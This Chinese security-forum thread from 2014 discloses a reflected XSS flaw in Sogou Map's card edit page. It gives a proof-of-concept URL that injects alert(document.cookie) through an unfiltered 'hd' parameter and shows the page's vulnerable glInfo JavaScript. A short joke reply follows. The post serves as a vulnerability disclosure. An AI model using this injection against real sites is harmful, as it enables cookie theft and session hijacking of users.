天马行空工作室

 找回密码
 加入天马
搜索
查看: 2318|回复: 2

搜狗地图xss

[复制链接]
发表于 2014-1-5 01:34:08 | 显示全部楼层 |阅读模式
http://map.sogou.com/card/edit.jsp?hd=1%22};alert(document.cookie)//

右键查看源代码, glInfo的参数均可get直接写入,没有过滤。
[mw_shl_code=javascript,true]var glInfo={"infos":{"type":"json","datas":[]},"s":"","d":"","m":"","p":"","pl":"","aw":"","pm":"","uid":"","hd":"1"}[/mw_shl_code]


评分

参与人数 1给力 +1 酱油 +2 收起 理由
xiaopeng + 1 + 2 天马行空,yes!

查看全部评分

发表于 2014-1-11 20:11:19 | 显示全部楼层
= =我只想说。土豪 我们做朋友吧
您需要登录后才可以回帖 登录 | 加入天马

本版积分规则

Archiver|手机版|小黑屋|天马行空工作室 ( 京ICP备12003429号  

GMT+8, 2019-1-24 10:28 , Processed in 0.318609 second(s), 23 queries .

Powered by Discuz! v8

© 2010-2014 搜狗地图xss - XSS 天马行空工作室

快速回复 返回顶部 返回列表